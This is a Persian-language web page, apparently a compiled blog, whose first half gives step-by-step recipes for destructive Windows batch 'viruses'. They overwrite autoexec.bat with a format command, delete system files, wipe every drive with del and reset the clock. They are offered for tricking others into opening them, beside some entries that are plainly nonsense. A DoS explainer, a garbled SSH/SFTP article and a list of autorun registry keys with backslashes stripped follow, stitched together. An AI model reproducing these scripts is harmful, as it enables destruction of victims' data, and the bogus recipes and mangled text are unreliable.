کامپیوتر 

روی Desktop راست کلیک کرده و از شاحه New گزینه Shortcut را انتخاب کنید . درون کادر سفید رنگ

عبارت مقابل را تایپ کنید : format a:/autotest سپس کلید Enter را فشاردهید . نام فایل را بنویسید و

دوباره Enter را فشار دهید . با اجازه ویروس آماده است .

ویروس برای فرمت درایو c:

یک Notepad باز کنید و عبارات زیر را درون آن تایپ کنید :

@echo off

 call attrib -r -h c:\autoexec.bat >nul

 echo @echo off >c:\autoexec.bat

 echo format /autotest c:/q>nul >>c:\autoexec.bat

 call attrib +r +h c:\autoexec.bat >nul

 exit

سپس آن را با هرنامی که دوست داشتید با پسوند .bat ذخیره کنید . با باز شدن این ویروس کل

اطلاعات auto.exe پاک می شود و'format /autotest c:/q' جایگزین این اطلاعات می شود .که در نتیجه

هنگام بالا آمدن ویندوز بطور خودکار ویندوز پاک می شود .

ویروس برای تخریب ویندوز

یک Notepad باز کنید و عبارات زیر را درون آن تایپ کنید :

C:

del autoexec.bat

del config.sys

cd winnt

del system.ini

del win.ini

اگه ویندوزXP هست بجای CD Winnt   بنويسيد CD Windows

آن را با پسوند .bat و با هر نامی که دوست داشتید ذخیره کنید . وقتی کسی این ویروس رو باز کنه

هیچی نمی شه اما وقتی کامپیوتر رو ریستارت کنه ویندوز دیگه بالا نمی آید ./

ساخت ویروس برای صفرکردن تاریخ و ساعت کامپیوتر

ابتدا یک Notepad به نام time0.bat باز کنید و عبارات زیر را درون آن تایپ کنید :

@Echo off

time=0:0:0

دوباره یک Notepad با نام Date0.bat باز کنید و عبارت زیر را درون آن تایپ کنید :

@ECHO OFF
date=10-10-10

سه باره یک Notepad با نام Comment.bat  باز کنید و عبارات زیر را درون آن تایپ کنید :

@echo off
echo I AM A VIRUS
echo SEAT AND SEE MY POWER!!!...
pause

یک Notepad دیگر با نام  help.bat باز کنید و درون آن عبارات زیر را تایپ کنید :

START TIME0
START DATE0
START comment

رو ی help.bat کلیک راست بکنین و Create ShortCut رو بزنین روی شرت کات ساخته شده کلیک راست

 کنین properties رو بزنین بعد تو قسمت General  به جای نام فایلتون بزنین help.txt  . ویروس آماده

است و باباز کردن فایل help.txt ساعت و تاریخ کامپیوتر ریست میشه

ویروسی برای از کارانداختن Keyboard(بی خطره)

بوسیله برنامه Notepad دوفایل بسازید : 1- Reg-on.Reg   و 2-Reg-off.Reg

فایل اولی برای فعال ساختن ویروس و فایل دومی برای غیر فعال ساختن آن : در فایل اولی تایپ کنید:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response]

"Flags"="127"

[HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry]

"Flags"="3"

"WindowsEffect"="3"

در فایل دومی برای از کار انداختن ویروس از عبارات زیر استفاده کنید :

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response]

"Flags"="126"

[HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry]

"Flags"="2"

"WindowsEffect"="0"

این دوفایل زا با نام های گفته شده ذخیره کنید . ویروس آماده بید جیگر.!!!

البته باید کامپیوتر بعد از اجرای فایل ریستارت شود .

ساختن ویروس برای پر شدن فضای گرافیک و جلوگيري از

اجراي بازيها روي كامپيوتر

یک Notepad باز کنید وعبارات زیر را در آن تایپ کنید :

            c/windows/system32/jefo/display/memory/full  

سپس آن را با نام tak-hack.bat  ذخیره کنید ./

با اجراي اين ويروس ديگه هيچ بازي روي كامپيوتر اجرا نمي شه

ساختن ويروس Blaster

نشانه: هنگام اجرا شدن اين ويروس پنجره اي همراه با يك تايمر معكوس باز شده و  علامت Cancel كردن آن هم خاموش است . و پس از اتمام اين ثانيه شمار كامپيوتر ريست مي شود و عوارضي براي كامپيوتر دارد . اين ويروس خيلي خطر ناك نيست اما براي كامپيوتر ضرر دارد و بيشتر در اينترنت منتشر ميگردد .  شروع كار:

ابتدا روي صفحه Desktop راست كليك كرده و New را انتخاب كنيد . Short cut را انتخاب كرده و درون كادر عبارت :

Shutdows –s –t xxx  را تايپ كنيد توجه داشته باشيد به جاي xxx  (به ثانيه)  مدت زماني را وارد كنيد كه كامپيوتر ريست مي شود .  سپس دكمه Enter را فشار دهيد . نام فايل را مشخص نموده و Enter  را فشار دهيد

ضد ويروس Blaster:

ابتدا روي صفحه Desktop راست كليك كرده و New را انتخاب كنيد . Short cut را انتخاب كرده و درون كادر عبارت :

Shutdows –a را تايپ كنيد . سپس دكمه Enter را فشار دهيد . نام فايل را مشخص نموده و Enter  را فشار دهيد

هر وقت از اينترنت اين ويروس براي شما ارسال شد، با باز كردن اين فايل از ريست شدن كامپيوتر جلوگيري مي شود

در ضمن اين ضد ويروس سرعت كامپيوتر را تغيير نمي دهد.

ساختن ويروسي براي Internet Explorer

اين ويروس اينترنت اكسپلورر رو فيلتر گذاري مي كنه و باعث خراب شدنش مي شه . طرز كار:

يك Notepad باز كنيد . درون آن جمله روبرو را بنويسيد: pouped-blocked-web-exploure-online&offline

بعد اون رو با پسوند .bat ذخيره كنيد .

نوعي ديگر از ويروس براي فورمت كردن هارد

با اجرا شدن اين ويروس كليه اطلاعات هارد پاك شده و به هيچ وجه بازيافت نمي شه:

روش كار: يك Notepad باز كنيد و در آن بنويسيد :

echo off@
ATTRIB -a -s -h -r c
ATTRIB -a -s -h -r c:\windows\*.*
Echo y | echo a | Echo y | del c:\*.*
Echo y | echo a | Echo y | del d:\*.*
Echo y | echo a | Echo y | del e:\*.*
Echo y | echo a | Echo y | del f:\*.*
Echo y | echo a | Echo y | del g:\*.*
echo y | copy *.* C:\
echo y | copy *.* D:\
echo y | copy *.* E:\
echo y | copy *.* F:\
echo y | copy *.* G:\
resrart

حالا  با پسوند  .bat ذخيره كنيد .

ساختن ويروسي ساده ولي در عين حال خطرناك 

اين ويروس ساختنش كاري نداره ولي اگه كسي بازش كنه ..............  به سمت بهشت زهرا ارسال مي شه   .   حالا طرز كار : يكNotepad  باز كرده و درون آن بنويسيد : Format c:/autotest بعد با پسوند .bat ذخيره كنيد . اين ويروس موقع اجزا شدن درايو C رو فرمت مي كنه به طوري كه نه مي شه اطلاعاتي توش ريخت نه مي شه فرمتش كرد . موفق باشي

پیغامی قبل از ورود به ویندوز

 پاک کردن برنامه هایی که پاک نمیشوند

بستن اتوماتیک برنامه های هنگ کرده

رجیستر کردن برنامه ها توسط رجیستری ویندوز

پسوند های ناشناخته

تغییر مسیر فولدرهای خاص

حمله تکذیب سرویس یا  Dos چیست ؟

Dos اختصار شده "Denial Of Service" و یک نوع حمله تخریبی برای از کار انداختن سیستم یک شرکت، سازمان و یا یک کاربر است

حملات Dos به دو نوع تقسیم میشوند که هر دو مخرب میباشند

حمله Dos توسط یک سیستم به سیستمی دیگر انجام میگیرد 

حمله Ddos (حملات توضیع شده) توسط چند یا چندین سیستم(گاه تا ده ها هزار ماشین)  به یک سیستم انجام میپذیرد که خطرناکترین نوع حملات تکذیب سرویس میباشد

با حملات Dos نمیتوان از سیستم دسترسی و یا به سیستم نفوذ کرد، بلکه هدف از کار انداختن سیستم مورد حمله میباشد، تا سرویس دهی سیستم قربانی انجام نپذیرد و از کار بیفتد

هدف و تخریب ها 

- ترافیک عظیمی به سوی شبکه قربانی فرستاده میشود تا جلوی ترافیک قانونی گرفته شود

- در این حملات سیستم بسیار کند شده و یا کاملا از کار می افتد

- اجازه استفاده قانونی سرویس گیرنده قطع خواهد شد

- ارتباط سرویس دهنده با سرویس گیرنده قطع خواهد شد و یا به شدت کند میشود

- در حملات DDos تخریب ها به صورت چشم گیری افزایش می یابد و سرویس دهنده به مدت چند روز خارج از سرویس میماند

- منابع سیستم صرف بار اضافی میشود و کار سرویس مختل میشود

حملات Dos اکثرا به دست افراد غیرحرفه ای و ناوارد انجام میپذیرد ولی اثرات آن کاملا مخرب میباشد، 

حملات Ddos عمدتا با باتنت انجام میپذیرد که به صورت کاملا حرفه ای و حساب شده انجام می شوند و خطرناکترین نوع این حملات میباشند، که بیشتر علیه شرکت ها و یا سازمان های عظیم انجام میپذیرد، و ردیابی آن کار بسیاری دشواری است، به همین علت بیشتر هدف های سیاسی یا رقابتی دارند.

چیست ؟ mikrotik چیست ؟

2737 بازدید 1 نظر

SSH هر دو پروتکل هایی تحت شبکه هستند که درست مانند HTTP بالای لایه TCP/IP اجرا می گردند. به زبان ساده این یک راه شناخته شده برای ابزارها است، تا درون شبکه با یکدیگر تماس برقرار کنند.

شیوه های مختلف برقراری تماس، ویژگی ها و شرایط استفاده متفاوت و ویژه ای دارند. کاربردهای مختلف و توانایی های گوناگونی در هر کدام گنجانده شده است. اما اینکه FTP و SSH دقیقا چه تفاوت ها و کارکردهایی دارند، برای بسیاری هنوز مبهم و گنگ است. در این مقاله قصد داریم به شرح و توضیح تکنولوژی های به کار رفته در این دو پروتکل و تفاوت های میان آنها بپردازیم.

 برنامه واسط (Shell) و اکانت های برنامه واسط

بگذارید ابتدا به اصطلاحات فنی پایه و زیرساخت ها بپردازیم. برای فهمیدن هدف SSH، نیاز دارید با برخی عناصر اصولی و زیرساخت آن آشنا شوید.

Shell کامپیوتر، یک قطعه نرم افزاری است که به کاربر اجازه می دهد مستقیما با کرنل یا هسته اصلی سیستم عامل ارتباط برقرار کند. Shell می تواند دارای رابط گرافیکی یا محیط خط فرمان باشد و یا اینکه هر دو را با هم داشته باشد.

اکانت Shell یک اکانت شخصی است که به کاربر اجازه دسترسی به Shell را از طریق کامپیوترهای مختلف و راه دور می دهد. از این اکانت ها معمولا می توان برای کار با فایل های ذخیره شده، اکانت های ایمیل، گروه های خبری و مانند آن استفاده کرد. نقطه مشترک همه کاربردهای Shell هم در این است که معمولا برای استفاده از اکانت Shell دستورات را از راه دور و توسط خط فرمان ارسال می کنیم.

پروتکل برنامه واسط امن (Secure Shell Protocol - SSH)

همانطور که مرورگرهای وب از پروتکل HTTP برای صحبت و ارتباط با سایت ها استفاده می کنند، اکانت شل هم نیاز دارد تا از یک پروتکل مشخص برای ممکن ساختن انتقال اطلاعات (یا همان ارتباطات) میان دو ابزار درون شبکه استفاده کند. افتخار دارم SSH یا پروتکل برنامه واسط امن (Secure Shell Protocol) را خدمت تان معرفی کنم.

SSH از یک کلید رمزنگاری عمومی استفاده می کند و هدف اولیه توسعه آن، خلق جایگزینی به جای ارتباطات ناامن و حفاظت نشده ای همچون Telnet بود. این پروتکل دارای دو نسخه اصلی SSH-1 و SSH-2 است که هم اکنون پروتکل های عمده و حاکم بر دنیای دسترسی اکانت های شل هستند.

امروزه از SSH برای لاگین و اجرای کدها از طریق کامپیوترهای راه دور، جستجوی وب با استفاده از کلاینت های پروکسی رمزنگاری شده و انتقال فایل استفاده می شود. همچنین برای تنظیم و آماده سازی شبکه خصوصی مجازی یا همان VPN هم می توان از SSH بهره برد.

کلاینت های SSH یا برنامه های دسکتاپ اس اس اچ برای همه سیستم عامل های اصلی در دسترس هستند. سیستم های بر پایه یونیکس، مانند لینوکس و مک او اس ایکس، می توانند از OpenSSH استفاده کنند. همچنین در سایت OpenSSH می توانید برنامه های SSH مناسبی برای مک و ویندوز پیدا کنید. PuTTY هم یکی از برجسته ترین کلاینت های ویژه تحت ویندوز است.

پروتکل انتقال فایل امن یا STTP در برابر FTP

انتقال فایل واجرای VPN به صورت پیش فرض بر روی SSH فعال نیستند. به یاد داشته باشید که SFTP پروتکل اف تی پی قابل اجرا بر روی SSH نیست. بلکه یک پروتکل متفاوت انتقال فایل (file transfer protocol) است که به عنوان یک اکستنشن یا افزونه برای SSH-2 توسعه یافته است. SFTP همیشه برای انتقال فایل روی اس اس اچ استفاده می شود، اما در حقیقت به گونه ای طراحی شده که می تواند توسط دیگر پروتکل ها هم مورد استفاده قرار گیرد.

البته جدای از صحبت های فنی، SFTP برای کاربر نهایی می تواند یک جایگزین امن و مطمئن برای FTP باشد. اف تی پی تمامی اطلاعات را به صورت متن ساده و بدون رمزنگاری انتقال می دهد. بنابرین سرقت بسته های اطلاعاتی می تواند باعث بروز مشکلات وخیمی برای اطلاعات شخصی شما از قبیل نام کاربری و رمزهای عبورتان گردد. SFTP که تبدیل به یک افزونه برای SSH-2 شده، از شیوه امنیتی کلید رمز عمومی برای انتقال اطلاعات استفاده می کند. این بدان معنی است که اطلاعات به صورت رمزنگاری شده ارسال می گردند و خطر بالقوه نفوذ بین مسیر به اطلاعات تقریبا منتفی می گردد.

SFTP معمولا در بسیاری از برنامه های مشهور FTP قابل استفاده است. البته در این حالت، دیگر قابلیت های SSH در این حالت غیر فعال خواهند بود.

HKLMSOFTWAREMicrosoftWindows CurrentVersionRunServicesOnce

ویندوز از این مکان فایل های مورد نظر رو بارگذاری می کند.

HKLMSOFTWAREMicrosoftWindows CurrentVersionRunServices

این کلید رجیستری تشخیص می دهد کدام برنامه ( نه سرویس ) باید در هنگام ریبوت شدن و یا ریبوت بعدی اجرا شود.



HKLMSOFTWAREMicrosoftWindows CurrentVersionRun

در هنگام راه اندازی سیستم برنامه ها اجرا می شوند.



HKLMSOFTWAREMicrosoftWindows CurrentVersionRunOnceEx

این کلید رجیستری مکانی را به برنامه ها و اسکریپت ها می دهد که در هنگام بار گذاری سیستم اجرا شوند.



HKLMSOFTWAREMicrosoftWindows NT CurrentVersionWinlogonUserinit

این کلید دارای نام تمام برنامه هایی می باشد که توسط تمام کاربران اجرا شده اند.



HKLMSOFTWAREMicrosoftWindows CurrentVersionShellServiceObjectDelayLoad

این کلید رجیستری بعد از بالا آمدن GUI ویندوز برنامه ها را فعال می سازد.



HKLMSOFTWAREPoliciesMicrosoft WindowsSystemScripts

این کلید اسکریپت های مختلف را تشخیص می دهد که وقتی ویندوز راه اندازی می شود اجرا خواهند شد.



HKLMSOFTWAREMicrosoftWindows CurrentVersionPoliciesExplorerRun

با این کلید رجیستری هنگامی که محیط گرافیکی کاربران فعال است برنامه ها تخشیص می دهند می توانند اجرا شوند. Explorer.exe



HKCUSOFTWAREMicrosoftWindows CurrentVersionRunServicesOnce

این کلید رجیستری مشخص می سازد کدام سرویس ها در دفعات بعد ورود کاربر باید اجرا شوند و کدام یک نباید اجرا شوند.



HKCUSOFTWAREMicrosoftWindows CurrentVersionRunServices

این سرویس ها در هر زمانی که یک کاربر وارد سیستم شود شروع به کار می کند.



HKCUSOFTWAREMicrosoftWindows CurrentVersionRunOnce

این برنامه ها هنگامی که یک کاربر وارد سیستم می شود راه اندازی می شوند.



HKCUSOFTWAREMicrosoftWindows CurrentVersionRun

این برنامه ها در هر زمانی که کاربر وارد سیستم شود اجرا خواهند شد.



HKCUSOFTWAREMicrosoftWindows CurrentVersionRunOnceEx

این برنامه بدون اجرا شدن یک سیستم پروسس دیگر اجرا خواهند شد.



HKCUSOFTWAREMicrosoftWindows CurrentVersionPoliciesExplorerRun

این برنامه ها در هر زمانی که کاربران وارد سیستم شوند اجرا خواهند شد.



HKCUSOFTWAREMicrosoftWindows NT CurrentVersionWindowsRun

این برنامه ها هر زمانی که کاربران وارد سیستم شوند اجرا خواهند شد.



HKCUSOFTWAREMicrosoftWindows NT CurrentVersionWindowsLoad

این برنامه ها هر زمانی که کاربران وارد سیستم شوند اجرا خواهند شد.



HKCUSOFTWAREPoliciesMicrosoft WindowsSystemScripts

این اسکریپت ها در هر زمانی که کاربران وارد سیستم شوند فعال خواهند شد.



HKCRExefilesShellOpenCommand